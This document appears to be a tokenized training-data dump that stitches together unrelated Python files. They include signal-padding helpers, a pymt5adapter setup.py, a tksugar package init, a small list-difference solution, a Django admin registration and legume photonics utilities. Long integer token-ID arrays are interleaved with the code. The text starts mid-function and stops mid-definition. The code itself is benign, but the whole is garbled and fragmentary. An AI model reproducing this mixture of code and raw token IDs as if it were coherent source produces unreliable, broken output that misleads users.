y[-extrapolate_window:], 1
)
left_edge = left_poly(x[:pad_length])
right_edge = right_poly(x[-pad_length:])
else:
padded_data = np.pad(y, pad_length, mode, **pad_kwargs)
left_edge = padded_data[:pad_length]
right_edge = padded_data[-pad_length:]
return left_edge, right_edge
def pad_edges(data, pad_length, mode='extrapolate',
extrapolate_window=None, **pad_kwargs):
"""
Adds left and right edges to the data.
Parameters
----------
data : array-like
The array of the data.
pad_length : int
The number of points to add to the left and right edges.
mode : str, optional
The method for padding. Default is 'extrapolate'. Any method other than
'extrapolate' will use numpy.pad.
extrapolate_window : int, optional
The number of values to use for linear fitting on the left and right
edges. Default is None, which will set the extrapolate window size equal
to the `half_window` size.
**pad_kwargs
Any keyword arguments to pass to numpy.pad, which will be used if `mode`
is not 'extrapolate'.
Returns
-------
padded_data : numpy.ndarray, shape (N + 2 * half_window,)
The data with padding on the left and right edges.
Notes
-----
If mode is 'extrapolate', then the left and right edges will be fit with
a first order polynomial and then extrapolated. Otherwise, uses numpy.pad.
"""
y = np.asarray(data)
if pad_length == 0:
return y
if mode.lower() == 'extrapolate':
left_edge, right_edge = _get_edges(y, pad_length, mode, extrapolate_window)
padded_data = np.concatenate((left_edge, y, right_edge))
else:
padded_data = np.pad(y, pad_length, mode.lower(), **pad_kwargs)
return padded_data
def padded_convolve(data, kernel, mode='reflect', **pad_kwargs):
"""
Pads data before convolving to reduce edge effects.
Parameters
----------
data : numpy.ndarray, shape (N,)
The data to smooth.
kernel : numpy.ndarray, shape (M,)
A pre-computed, normalized kernel for the convolution. Indices should
span from -half_window to half_window.
Returns
-------
numpy.ndarray, shape (N,)
The smoothed input array.
Notes
-----
Mirrors the data near the edges so that convolution does not
produce edge effects.
"""
padding = (min(data.shape[0], kernel.shape[0]) // 2)
convolution = np.convolve(
pad_edges(data, padding, mode, **pad_kwargs), kernel, mode='valid'
)
return convolution
| [
1,
396,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
15945,
29908,
10739,
3168,
363,
11451,
6500,
24210,
29889,
13,
13,
20399,
373,
4779,
29871,
29945,
29892,
29871,
29906,
29900,
29906,
29896,
13,
29992,
8921,
29901,
529,
5813,
29958,
13,
13,
15945,
29908,
13,
13,
5215,
12655,
408,
7442,
13,
13,
13,
29937,
278,
9212,
6374,
5785,
1819,
1316,
393,
263,
718,
903,
16173,
29918,
29943,
3927,
1299,
2804,
263,
13,
29918,
16173,
29918,
29943,
3927,
1299,
353,
7442,
29889,
29888,
3888,
29898,
7411,
467,
8961,
13,
13,
13,
1753,
6198,
29918,
29881,
17678,
29898,
1025,
29892,
716,
29892,
6056,
29918,
2098,
29922,
8516,
1125,
13,
1678,
9995,
13,
1678,
20535,
1078,
278,
6198,
4328,
313,
12324,
29898,
1482,
29899,
1025,
29897,
847,
6056,
29898,
1025,
876,
310,
1023,
1819,
29889,
13,
13,
1678,
501,
8485,
408,
385,
6876,
16614,
297,
1784,
2362,
5570,
14009,
29889,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
2030,
584,
12655,
29889,
299,
2378,
470,
5785,
13,
4706,
450,
1409,
470,
2323,
995,
515,
278,
3517,
12541,
29889,
13,
1678,
716,
584,
12655,
29889,
299,
2378,
470,
5785,
13,
4706,
450,
1409,
470,
2323,
995,
515,
278,
1857,
12541,
29889,
13,
1678,
6056,
29918,
2098,
584,
938,
29892,
13136,
13,
4706,
450,
1134,
310,
6056,
304,
8147,
29889,
13109,
338,
6213,
29892,
607,
338,
301,
29906,
13,
4706,
6056,
363,
7049,
29892,
6425,
363,
8716,
1503,
29889,
13,
13,
1678,
16969,
13,
1678,
448,
22158,
13,
1678,
5785,
13,
4706,
450,
6198,
4328,
1546,
278,
2030,
322,
716,
1819,
29889,
13,
13,
1678,
9995,
13,
1678,
4825,
1061,
353,
7442,
29889,
29880,
979,
29887,
29889,
12324,
29898,
1482,
448,
2030,
29892,
6056,
29918,
2098,
29897,
13,
1678,
14267,
1061,
353,
7442,
29889,
27525,
398,
29898,
9302,
29889,
29880,
979,
29887,
29889,
12324,
29898,
1025,
29892,
6056,
29918,
2098,
511,
903,
16173,
29918,
29943,
3927,
1299,
29897,
13,
1678,
736,
4825,
1061,
847,
14267,
1061,
13,
13,
13,
1753,
330,
17019,
29898,
29916,
29892,
3171,
29922,
29896,
29889,
29900,
29892,
4818,
29922,
29900,
29889,
29900,
29892,
269,
2934,
29922,
29896,
29889,
29900,
1125,
13,
1678,
9995,
13,
1678,
3251,
1078,
263,
330,
17019,
4978,
2729,
373,
3171,
29892,
4818,
29892,
322,
269,
2934,
29889,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
921,
584,
12655,
29889,
299,
2378,
13,
4706,
450,
921,
29899,
5975,
472,
607,
304,
14707,
278,
4978,
29889,
13,
1678,
3171,
584,
5785,
29892,
13136,
13,
4706,
450,
7472,
3171,
310,
278,
4978,
29889,
13109,
338,
29871,
29896,
29889,
29900,
29889,
13,
1678,
4818,
584,
5785,
29892,
13136,
13,
4706,
450,
4818,
310,
278,
4978,
29889,
13109,
338,
29871,
29900,
29889,
29900,
29889,
13,
1678,
269,
2934,
584,
5785,
29892,
13136,
13,
4706,
450,
3918,
29522,
310,
278,
4978,
29889,
13109,
338,
29871,
29896,
29889,
29900,
29889,
13,
13,
1678,
16969,
13,
1678,
448,
22158,
13,
1678,
12655,
29889,
299,
2378,
13,
4706,
450,
330,
17019,
4978,
19030,
411,
921,
29889,
13,
13,
1678,
9995,
13,
1678,
736,
3171,
334,
7442,
29889,
4548,
6278,
29900,
29889,
29945,
334,
5135,
29916,
448,
4818,
29897,
1068,
29906,
29897,
847,
269,
2934,
1068,
29906,
29897,
13,
13,
13,
1753,
330,
17019,
29918,
17460,
29898,
7165,
29918,
2311,
29892,
269,
2934,
29922,
29896,
29889,
29900,
1125,
13,
1678,
9995,
13,
1678,
6760,
1078,
385,
4038,
29899,
8945,
1891,
330,
17019,
8466,
363,
26851,
29889,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
3474,
29918,
2311,
584,
938,
13,
4706,
450,
1353,
310,
3291,
363,
278,
4152,
8466,
29889,
13,
1678,
269,
2934,
584,
5785,
29892,
13136,
13,
4706,
450,
3918,
29522,
310,
278,
330,
17019,
1904,
29889,
13,
13,
1678,
16969,
13,
1678,
448,
22158,
13,
1678,
12655,
29889,
299,
2378,
29892,
8267,
313,
7165,
29918,
2311,
29892,
29897,
13,
4706,
450,
4038,
29899,
8945,
1891,
330,
17019,
8466,
29889,
13,
13,
1678,
8695,
13,
1678,
448,
807,
13,
1678,
7106,
330,
1485,
29914,
2083,
29898,
29887,
1485,
29897,
3265,
1135,
4969,
263,
5190,
29899,
6203,
330,
17019,
13,
1678,
1951,
278,
5190,
29899,
6203,
330,
17019,
723,
505,
385,
4038,
7968,
1135,
29871,
29896,
13,
1678,
363,
3474,
29918,
2311,
529,
3695,
29871,
29953,
334,
269,
2934,
29889,
13,
13,
1678,
9995,
13,
1678,
396,
1644,
414,
4978,
515,
448,
24498,
29918,
7165,
304,
4203,
29918,
7165,
13,
1678,
921,
353,
7442,
29889,
279,
927,
29898,
29900,
29892,
3474,
29918,
2311,
29897,
448,
313,
7165,
29918,
2311,
448,
29871,
29896,
29897,
847,
29871,
29906,
13,
1678,
330,
1485,
353,
330,
17019,
29898,
29916,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
269,
2934,
29897,
13,
1678,
736,
330,
1485,
847,
7442,
29889,
2083,
29898,
29887,
1485,
29897,
13,
13,
13,
1753,
903,
657,
29918,
287,
2710,
29898,
1272,
29892,
17132,
29918,
2848,
29892,
4464,
2433,
1062,
2390,
23167,
742,
1294,
2390,
23167,
29918,
7165,
29922,
8516,
29892,
3579,
8305,
29918,
19290,
1125,
13,
1678,
9995,
13,
1678,
9133,
2247,
278,
2175,
322,
1492,
12770,
363,
7164,
848,
29889,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
848,
584,
1409,
29899,
4561,
13,
4706,
450,
1409,
310,
278,
848,
29889,
13,
1678,
17132,
29918,
2848,
584,
938,
13,
4706,
450,
1353,
310,
3291,
304,
788,
304,
278,
2175,
322,
1492,
12770,
29889,
13,
1678,
4464,
584,
851,
29892,
13136,
13,
4706,
450,
1158,
363,
7164,
29889,
13109,
338,
525,
1062,
2390,
23167,
4286,
3139,
1158,
916,
1135,
13,
4706,
525,
1062,
2390,
23167,
29915,
674,
671,
12655,
29889,
8305,
29889,
13,
1678,
1294,
2390,
23167,
29918,
7165,
584,
938,
29892,
13136,
13,
4706,
450,
1353,
310,
1819,
304,
671,
363,
5608,
28221,
373,
278,
2175,
322,
1492,
13,
4706,
12770,
29889,
13109,
338,
6213,
29892,
607,
674,
731,
278,
1294,
2390,
23167,
3474,
2159,
5186,
13,
4706,
304,
278,
421,
24498,
29918,
7165,
29952,
2159,
29889,
13,
1678,
3579,
8305,
29918,
19290,
13,
4706,
3139,
13553,
6273,
304,
1209,
304,
12655,
29889,
8305,
29892,
607,
674,
367,
1304,
565,
421,
8513,
29952,
13,
4706,
338,
451,
525,
1062,
2390,
23167,
4286,
13,
13,
1678,
16969,
13,
1678,
448,
22158,
13,
1678,
2175,
29918,
12864,
584,
12655,
29889,
299,
2378,
29892,
8267,
29898,
8305,
29918,
2848,
29892,
29897,
13,
4706,
450,
1409,
310,
848,
363,
278,
2175,
7164,
29889,
13,
1678,
1492,
29918,
12864,
584,
12655,
29889,
299,
2378,
29892,
8267,
29898,
8305,
29918,
2848,
29892,
29897,
13,
4706,
450,
1409,
310,
848,
363,
278,
1492,
7164,
29889,
13,
13,
1678,
8695,
13,
1678,
448,
807,
13,
1678,
960,
4464,
338,
525,
1062,
2390,
23167,
742,
769,
278,
2175,
322,
1492,
12770,
674,
367,
6216,
411,
13,
1678,
263,
937,
1797,
10159,
322,
769,
1294,
2390,
324,
630,
29889,
13466,
29892,
3913,
12655,
29889,
8305,
29889,
13,
13,
1678,
9995,
13,
1678,
343,
353,
7442,
29889,
294,
2378,
29898,
1272,
29897,
13,
1678,
565,
17132,
29918,
2848,
1275,
29871,
29900,
29901,
13,
4706,
736,
343,
13,
13,
1678,
4464,
353,
4464,
29889,
13609,
580,
13,
1678,
565,
4464,
1275,
525,
1062,
2390,
23167,
2396,
13,
4706,
565,
1294,
2390,
23167,
29918,
7165,
338,
6213,
29901,
13,
9651,
1294,
2390,
23167,
29918,
7165,
353,
29871,
29906,
334,
17132,
29918,
2848,
718,
29871,
29896,
13,
4706,
921,
353,
7442,
29889,
279,
927,
6278,
8305,
29918,
2848,
29892,
343,
29889,
12181,
29961,
29900,
29962,
718,
17132,
29918,
2848,
29897,
13,
4706,
2175,
29918,
22678,
353,
7442,
29889,
3733,
9222,
29889,
7713,
9222,
29889,
9202,
29898,
13,
9651,
921,
29961,
8305,
29918,
2848,
13018,
8305,
29918,
2848,
3816,
29901,
1062,
2390,
23167,
29918,
7165,
1402,
13,
9651,
343,
7503,
1062,
2390,
23167,
29918,
7165,
1402,
29871,
29896,
13,
4706,
1723,
13,
4706,
1492,
29918,
22678,
353,
7442,
29889,
3733,
9222,
29889,
7713,
9222,
29889,
9202,
29898,
13,
9651,
921,
29961,
8305,
29918,
2848,
13018,
8305,
29918,
2848,
3816,
29899,
1062,
2390,
23167,
29918,
7165,
29901,
1402,
13,
9651,
343,
14352,
1062,
2390,
23167,
29918,
7165,
29901,
1402,
29871,
29896,
13,
4706,
1723,
13,
13,
4706,
2175,
29918,
12864,
353,
2175,
29918,
22678,
29898,
29916,
7503,
8305,
29918,
2848,
2314,
13,
4706,
1492,
29918,
12864,
353,
1492,
29918,
22678,
29898,
29916,
14352,
8305,
29918,
2848,
29901,
2314,
13,
1678,
1683,
29901,
13,
4706,
282,
23959,
29918,
1272,
353,
7442,
29889,
8305,
29898,
29891,
29892,
17132,
29918,
2848,
29892,
4464,
29892,
3579,
8305,
29918,
19290,
29897,
13,
4706,
2175,
29918,
12864,
353,
282,
23959,
29918,
1272,
7503,
8305,
29918,
2848,
29962,
13,
4706,
1492,
29918,
12864,
353,
282,
23959,
29918,
1272,
14352,
8305,
29918,
2848,
17531,
13,
13,
1678,
736,
2175,
29918,
12864,
29892,
1492,
29918,
12864,
13,
13,
13,
1753,
17132,
29918,
287,
2710,
29898,
1272,
29892,
17132,
29918,
2848,
29892,
4464,
2433,
1062,
2390,
23167,
742,
13,
795,
1294,
2390,
23167,
29918,
7165,
29922,
8516,
29892,
3579,
8305,
29918,
19290,
1125,
13,
1678,
9995,
13,
1678,
3462,
29879,
2175,
322,
1492,
12770,
304,
278,
848,
29889,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
848,
584,
1409,
29899,
4561,
13,
4706,
450,
1409,
310,
278,
848,
29889,
13,
1678,
17132,
29918,
2848,
584,
938,
13,
4706,
450,
1353,
310,
3291,
304,
788,
304,
278,
2175,
322,
1492,
12770,
29889,
13,
1678,
4464,
584,
851,
29892,
13136,
13,
4706,
450,
1158,
363,
7164,
29889,
13109,
338,
525,
1062,
2390,
23167,
4286,
3139,
1158,
916,
1135,
13,
4706,
525,
1062,
2390,
23167,
29915,
674,
671,
12655,
29889,
8305,
29889,
13,
1678,
1294,
2390,
23167,
29918,
7165,
584,
938,
29892,
13136,
13,
4706,
450,
1353,
310,
1819,
304,
671,
363,
5608,
28221,
373,
278,
2175,
322,
1492,
13,
4706,
12770,
29889,
13109,
338,
6213,
29892,
607,
674,
731,
278,
1294,
2390,
23167,
3474,
2159,
5186,
13,
4706,
304,
278,
421,
24498,
29918,
7165,
29952,
2159,
29889,
13,
1678,
3579,
8305,
29918,
19290,
13,
4706,
3139,
13553,
6273,
304,
1209,
304,
12655,
29889,
8305,
29892,
607,
674,
367,
1304,
565,
421,
8513,
29952,
13,
4706,
338,
451,
525,
1062,
2390,
23167,
4286,
13,
13,
1678,
16969,
13,
1678,
448,
22158,
13,
1678,
282,
23959,
29918,
1272,
584,
12655,
29889,
299,
2378,
29892,
8267,
313,
29940,
718,
29871,
29906,
334,
4203,
29918,
7165,
29892,
29897,
13,
4706,
450,
848,
411,
7164,
373,
278,
2175,
322,
1492,
12770,
29889,
13,
13,
1678,
8695,
13,
1678,
448,
807,
13,
1678,
960,
4464,
338,
525,
1062,
2390,
23167,
742,
769,
278,
2175,
322,
1492,
12770,
674,
367,
6216,
411,
13,
1678,
263,
937,
1797,
10159,
322,
769,
1294,
2390,
324,
630,
29889,
13466,
29892,
3913,
12655,
29889,
8305,
29889,
13,
13,
1678,
9995,
13,
1678,
343,
353,
7442,
29889,
294,
2378,
29898,
1272,
29897,
13,
1678,
565,
17132,
29918,
2848,
1275,
29871,
29900,
29901,
13,
4706,
736,
343,
13,
13,
1678,
565,
4464,
29889,
13609,
580,
1275,
525,
1062,
2390,
23167,
2396,
13,
4706,
2175,
29918,
12864,
29892,
1492,
29918,
12864,
353,
903,
657,
29918,
287,
2710,
29898,
29891,
29892,
17132,
29918,
2848,
29892,
4464,
29892,
1294,
2390,
23167,
29918,
7165,
29897,
13,
4706,
282,
23959,
29918,
1272,
353,
7442,
29889,
535,
29883,
2579,
403,
3552,
1563,
29918,
12864,
29892,
343,
29892,
1492,
29918,
12864,
876,
13,
1678,
1683,
29901,
13,
4706,
282,
23959,
29918,
1272,
353,
7442,
29889,
8305,
29898,
29891,
29892,
17132,
29918,
2848,
29892,
4464,
29889,
13609,
3285,
3579,
8305,
29918,
19290,
29897,
13,
13,
1678,
736,
282,
23959,
29918,
1272,
13,
13,
13,
1753,
282,
23959,
29918,
535,
1555,
345,
29898,
1272,
29892,
8466,
29892,
4464,
2433,
13191,
742,
3579,
8305,
29918,
19290,
1125,
13,
1678,
9995,
13,
1678,
349,
7925,
848,
1434,
378,
1555,
1747,
304,
10032,
7636,
9545,
29889,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
848,
584,
12655,
29889,
299,
2378,
29892,
8267,
313,
29940,
29892,
29897,
13,
4706,
450,
848,
304,
10597,
29889,
13,
1678,
8466,
584,
12655,
29889,
299,
2378,
29892,
8267,
313,
29924,
29892,
29897,
13,
4706,
319,
758,
29899,
12097,
287,
29892,
4226,
1891,
8466,
363,
278,
26851,
29889,
1894,
1575,
881,
13,
4706,
10638,
515,
448,
24498,
29918,
7165,
304,
4203,
29918,
7165,
29889,
13,
13,
1678,
16969,
13,
1678,
448,
22158,
13,
1678,
12655,
29889,
299,
2378,
29892,
8267,
313,
29940,
29892,
29897,
13,
4706,
450,
10597,
287,
1881,
1409,
29889,
13,
13,
1678,
8695,
13,
1678,
448,
807,
13,
1678,
11612,
729,
29879,
278,
848,
2978,
278,
12770,
577,
393,
26851,
947,
451,
13,
1678,
7738,
7636,
9545,
29889,
13,
13,
1678,
9995,
13,
1678,
7164,
353,
313,
1195,
29898,
1272,
29889,
12181,
29961,
29900,
1402,
8466,
29889,
12181,
29961,
29900,
2314,
849,
29871,
29906,
29897,
13,
1678,
26851,
353,
7442,
29889,
535,
1555,
345,
29898,
13,
4706,
17132,
29918,
287,
2710,
29898,
1272,
29892,
7164,
29892,
4464,
29892,
3579,
8305,
29918,
19290,
511,
8466,
29892,
4464,
2433,
3084,
29915,
13,
1678,
1723,
13,
1678,
736,
26851,
13,
2
] |
setup.py | arrkiin/pymt5adapter | 69 | 193318 | from setuptools import find_packages
from setuptools import setup
import pymt5adapter
with open('README.md') as f:
readme = f.read()
with open('LICENSE') as f:
license = f.read()
setup(
name='pymt5adapter',
version=pymt5adapter.__version__.get('pymt5adapter'),
description='A drop in replacement wrapper for the MetaTrader5 package',
long_description_content_type='text/markdown',
long_description=readme,
author='nicholishen',
author_email='<EMAIL>',
url='https://github.com/nicholishen/pymt5adapter',
license='MIT',
packages=find_packages(exclude=('tests', 'docs')),
install_requires=['MetaTrader5==5.0.33'],
setup_requires=['wheel'],
python_requires='>=3.6',
)
| [
1,
515,
731,
21245,
8789,
1053,
1284,
29918,
8318,
13,
3166,
731,
21245,
8789,
1053,
6230,
13,
5215,
282,
962,
29873,
29945,
21412,
13,
13,
2541,
1722,
877,
16310,
2303,
29889,
3487,
1495,
408,
285,
29901,
13,
1678,
1303,
1004,
353,
285,
29889,
949,
580,
13,
13,
2541,
1722,
877,
27888,
1430,
1660,
1495,
408,
285,
29901,
13,
1678,
19405,
353,
285,
29889,
949,
580,
13,
13,
14669,
29898,
13,
1678,
1024,
2433,
29886,
962,
29873,
29945,
21412,
742,
13,
1678,
1873,
29922,
29886,
962,
29873,
29945,
21412,
17255,
3259,
26914,
657,
877,
29886,
962,
29873,
29945,
21412,
5477,
13,
1678,
6139,
2433,
29909,
5768,
297,
16920,
14476,
363,
278,
20553,
2308,
1664,
29945,
3577,
742,
13,
1678,
1472,
29918,
8216,
29918,
3051,
29918,
1853,
2433,
726,
29914,
3502,
3204,
742,
13,
1678,
1472,
29918,
8216,
29922,
949,
1004,
29892,
13,
1678,
4148,
2433,
29876,
436,
324,
728,
264,
742,
13,
1678,
4148,
29918,
5269,
2433,
29966,
26862,
6227,
29958,
742,
13,
1678,
3142,
2433,
991,
597,
3292,
29889,
510,
29914,
29876,
436,
324,
728,
264,
29914,
29886,
962,
29873,
29945,
21412,
742,
13,
1678,
19405,
2433,
26349,
742,
13,
1678,
9741,
29922,
2886,
29918,
8318,
29898,
735,
2325,
29922,
877,
21150,
742,
525,
2640,
1495,
511,
13,
1678,
2601,
29918,
276,
339,
2658,
29922,
1839,
19346,
2308,
1664,
29945,
1360,
29945,
29889,
29900,
29889,
29941,
29941,
7464,
13,
1678,
6230,
29918,
276,
339,
2658,
29922,
1839,
29893,
10552,
7464,
13,
1678,
3017,
29918,
276,
339,
2658,
2433,
18572,
29941,
29889,
29953,
742,
13,
29897,
13,
2
] |
tksugar/widgets/__init__.py | TakamiChie/TkSugar | 2 | 105316 | <gh_stars>1-10
"""
Widgets that require Generator-specific custom processing are stored in this package.
For example, widgets such as tkinter.ttk.Notebook that do not display child elements on the GUI just by referencing them with the master argument of child elements are recorded here.
This package is referenced with the highest priority when the Generator is executed.
Therefore, even if there is a widget with the same name in another module, this module will be called.
"""
from tksugar.widgets.generatorsupport import GeneratorSupport
from tksugar.widgets.notebook import Notebook
from tksugar.widgets.menu import Menu | [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
15945,
29908,
13,
8801,
29879,
393,
1996,
3251,
1061,
29899,
14940,
2888,
9068,
526,
6087,
297,
445,
3577,
29889,
13,
2831,
1342,
29892,
11109,
29879,
1316,
408,
18883,
1639,
29889,
698,
29895,
29889,
3664,
19273,
393,
437,
451,
2479,
2278,
3161,
373,
278,
14839,
925,
491,
29371,
963,
411,
278,
5835,
2980,
310,
2278,
3161,
526,
10478,
1244,
29889,
13,
4013,
3577,
338,
16180,
411,
278,
9939,
20136,
746,
278,
3251,
1061,
338,
8283,
29889,
13,
8439,
1079,
29892,
1584,
565,
727,
338,
263,
11109,
411,
278,
1021,
1024,
297,
1790,
3883,
29892,
445,
3883,
674,
367,
2000,
29889,
13,
15945,
29908,
13,
3166,
260,
2039,
688,
279,
29889,
8030,
29879,
29889,
4738,
4097,
29884,
3016,
1053,
3251,
1061,
14039,
13,
3166,
260,
2039,
688,
279,
29889,
8030,
29879,
29889,
1333,
19273,
1053,
2216,
19273,
13,
3166,
260,
2039,
688,
279,
29889,
8030,
29879,
29889,
6510,
1053,
20019,
2
] |
200116/Python/solution.py | ktaletsk/daily-problem | 1 | 126841 | <filename>200116/Python/solution.py
class Solution(object):
def findDisappearedNumbers(self, nums):
return list(set(range(1,len(nums)+1)) - set(nums))
nums = [4, 6, 2, 6, 7, 2, 1]
def test():
assert Solution().findDisappearedNumbers(nums) == [3, 5] | [
1,
529,
9507,
29958,
29906,
29900,
29900,
29896,
29896,
29953,
29914,
11980,
29914,
2929,
918,
29889,
2272,
13,
1990,
24380,
29898,
3318,
1125,
13,
1678,
822,
1284,
4205,
932,
21128,
29478,
29898,
1311,
29892,
954,
29879,
1125,
13,
4706,
736,
1051,
29898,
842,
29898,
3881,
29898,
29896,
29892,
2435,
29898,
1949,
29879,
7240,
29896,
876,
448,
731,
29898,
1949,
29879,
876,
13,
13,
1949,
29879,
353,
518,
29946,
29892,
29871,
29953,
29892,
29871,
29906,
29892,
29871,
29953,
29892,
29871,
29955,
29892,
29871,
29906,
29892,
29871,
29896,
29962,
13,
13,
1753,
1243,
7295,
13,
1678,
4974,
24380,
2141,
2886,
4205,
932,
21128,
29478,
29898,
1949,
29879,
29897,
1275,
518,
29941,
29892,
29871,
29945,
29962,
2
] |
imagr_users/admin.py | sazlin/cfpydev-imagr | 0 | 27405 | <reponame>sazlin/cfpydev-imagr<gh_stars>0
from django.contrib import admin
from models import ImagrUser, Relationship
# Register your models here.
class ImagrUserAdmin(admin.ModelAdmin):
fields = ('username',
'first_name',
'last_name',
'email',
)
search_fields = ['username',
'email',
'first_name',
'last_name']
admin.site.register(ImagrUser, ImagrUserAdmin)
admin.site.register(Relationship)
| [
1,
529,
276,
1112,
420,
29958,
29879,
834,
1915,
29914,
6854,
2272,
3359,
29899,
326,
10312,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
3166,
9557,
29889,
21570,
1053,
4113,
13,
3166,
4733,
1053,
1954,
10312,
2659,
29892,
6376,
800,
4034,
13,
29937,
12577,
596,
4733,
1244,
29889,
13,
13,
13,
1990,
1954,
10312,
2659,
12754,
29898,
6406,
29889,
3195,
12754,
1125,
13,
13,
1678,
4235,
353,
6702,
6786,
742,
13,
795,
525,
4102,
29918,
978,
742,
13,
795,
525,
4230,
29918,
978,
742,
13,
795,
525,
5269,
742,
13,
795,
1723,
13,
13,
1678,
2740,
29918,
9621,
353,
6024,
6786,
742,
13,
462,
268,
525,
5269,
742,
13,
462,
268,
525,
4102,
29918,
978,
742,
13,
462,
268,
525,
4230,
29918,
978,
2033,
13,
13,
6406,
29889,
2746,
29889,
9573,
29898,
1888,
10312,
2659,
29892,
1954,
10312,
2659,
12754,
29897,
13,
6406,
29889,
2746,
29889,
9573,
29898,
9662,
800,
4034,
29897,
13,
2
] |
legume/utils.py | shanham/legume | 2 | 142691 | """
Various utilities used in the main code.
NOTE: there should be no autograd functions here, only plain numpy/scipy
"""
import numpy as np
from scipy.linalg import toeplitz
from scipy.optimize import brentq
def ftinv(ft_coeff, gvec, xgrid, ygrid):
"""
Returns the discrete inverse Fourier transform over a real-space mesh
defined by 'xgrid', 'ygrid', computed given a number of FT coefficients
'ft_coeff' defined over a set of reciprocal vectors 'gvec'.
This could be sped up through an fft function but written like this it is
more general as we don't have to deal with grid and lattice issues.
"""
(xmesh, ymesh) = np.meshgrid(xgrid, ygrid)
ftinv = np.zeros(xmesh.shape, dtype=np.complex128)
# Take only the unique components
(g_unique, ind_unique) = np.unique(gvec, return_index=True, axis=1)
for indg in ind_unique:
ftinv += ft_coeff[indg]*np.exp(1j*gvec[0, indg]*xmesh + \
1j*gvec[1, indg]*ymesh)
# # Do the x- and y-transforms separately
# # I wrote this but then realized it doesn't improve anything
# (gx_u, indx) = np.unique(gvec[0, :], return_inverse=True)
# for ix, gx in enumerate(gx_u):
# ind_match = np.where(indx==ix)[0]
# (gy_u, indy) = np.unique(gvec[1, ind_match], return_index=True)
# term = np.zeros(xmesh.shape, dtype=np.complex128)
# for iy, gy in enumerate(gy_u):
# # print(ft_coeff[indx[indy[iy]]])
# term += ft_coeff[ind_match[indy[iy]]]*np.exp(-1j*gy*ymesh)
# ftinv += term*np.exp(-1j*gx*xmesh)
# # Can also be defined through a DFT matrix but it doesn't seem faster and
# # it's *very* memory intensive.
# exp_matrix = xmesh.reshape((-1, 1)).dot(g_unique[[0], :]) + \
# ymesh.reshape((-1, 1)).dot(g_unique[[1], :])
# dft_matrix = np.exp(1j*exp_matrix)
# ftinv = dft_matrix.dot(ft_coeff[ind_unique]).reshape(xmesh.shape)
# print(ftinv)
return ftinv
def ft2square(lattice, ft_coeff, gvec):
"""
Make a square array of Fourier components given a number of them defined
over a set of reciprocal vectors gvec.
NB: function hasn't really been tested, just storing some code.
"""
if lattice.type not in ['hexagonal', 'square']:
raise NotImplementedError("ft2square probably only works for" \
"a lattice initialized as 'square' or 'hexagonal'")
dgx = np.abs(lattice.b1[0])
dgy = np.abs(lattice.b2[1])
nx = np.int_(np.abs(np.max(gvec[0, :])/dgx))
ny = np.int_(np.abs(np.max(gvec[1, :])/dgy))
nxtot = 2*nx + 1
nytot = 2*ny + 1
eps_ft = np.zeros((nxtot, nytot), dtype=np.complex128)
gx_grid = np.arange(-nx, nx)*dgx
gy_grid = np.arange(-ny, ny)*dgy
for jG in range(gvec.shape[1]):
nG = np.int_(gvec[:, jG]/[dgx, dgy])
eps_ft[nx + nG1[0], ny + nG1[1]] = ft_coeff[jG]
return (eps_ft, gx_grid, gy_grid)
def grad_num(fn, arg, step_size=1e-7):
""" Numerically differentiate `fn` w.r.t. its argument `arg`
`arg` can be a numpy array of arbitrary shape
`step_size` can be a number or an array of the same shape as `arg` """
N = arg.size
shape = arg.shape
gradient = np.zeros((N,))
f_old = fn(arg)
if type(step_size) == float:
step = step_size*np.ones((N))
else:
step = step_size.ravel()
for i in range(N):
arg_new = arg.flatten()
arg_new[i] += step[i]
f_new_i = fn(arg_new.reshape(shape))
gradient[i] = (f_new_i - f_old) / step[i]
return gradient.reshape(shape)
def vjp_maker_num(fn, arg_inds, steps):
""" Makes a vjp_maker for the numerical derivative of a function `fn`
w.r.t. argument at position `arg_ind` using step sizes `steps` """
def vjp_single_arg(ia):
arg_ind = arg_inds[ia]
step = steps[ia]
def vjp_maker(fn_out, *args):
shape = args[arg_ind].shape
num_p = args[arg_ind].size
step = steps[ia]
def vjp(v):
vjp_num = np.zeros(num_p)
for ip in range(num_p):
args_new = list(args)
args_rav = args[arg_ind].flatten()
args_rav[ip] += step
args_new[arg_ind] = args_rav.reshape(shape)
dfn_darg = (fn(*args_new) - fn_out)/step
vjp_num[ip] = np.sum(v * dfn_darg)
return vjp_num
return vjp
return vjp_maker
vjp_makers = []
for ia in range(len(arg_inds)):
vjp_makers.append(vjp_single_arg(ia=ia))
return tuple(vjp_makers)
def toeplitz_block(n, T1, T2):
"""
Constructs a Hermitian Toeplitz-block-Toeplitz matrix with n blocks and
T1 in the first row and T2 in the first column of every block in the first
row of blocks
"""
ntot = T1.shape[0]
p = int(ntot/n) # Linear size of each block
Tmat = np.zeros((ntot, ntot), dtype=T1.dtype)
for ind1 in range(n):
for ind2 in range(ind1, n):
toep1 = T1[(ind2-ind1)*p:(ind2-ind1+1)*p]
toep2 = T2[(ind2-ind1)*p:(ind2-ind1+1)*p]
Tmat[ind1*p:(ind1+1)*p, ind2*p:(ind2+1)*p] = \
toeplitz(toep2, toep1)
return np.triu(Tmat) + np.conj(np.transpose(np.triu(Tmat,1)))
return np.triu(Tmat) + np.conj(np.transpose(np.triu(Tmat,1)))
def get_value(x):
"""
This is for when using the 'autograd' backend and you want to detach an
ArrayBox and just convert it to a numpy array.
"""
if str(type(x)) == "<class 'autograd.numpy.numpy_boxes.ArrayBox'>":
return x._value
else:
return x
def fsolve(f, lb, ub, *args):
"""
Solve for scalar f(x, *args) = 0 w.r.t. scalar x within lb < x < ub
"""
args_value = tuple([get_value(arg) for arg in args])
return brentq(f, lb, ub, args=args_value)
def find_nearest(array, value, N):
"""
Find the indexes of the N elements in an array nearest to a given value
(Not the most efficient way but this is not a coding interview...)
"""
idx = np.abs(array - value).argsort()
return idx[:N]
def RedhefferStar(SA,SB): #SA and SB are both 2x2 matrices;
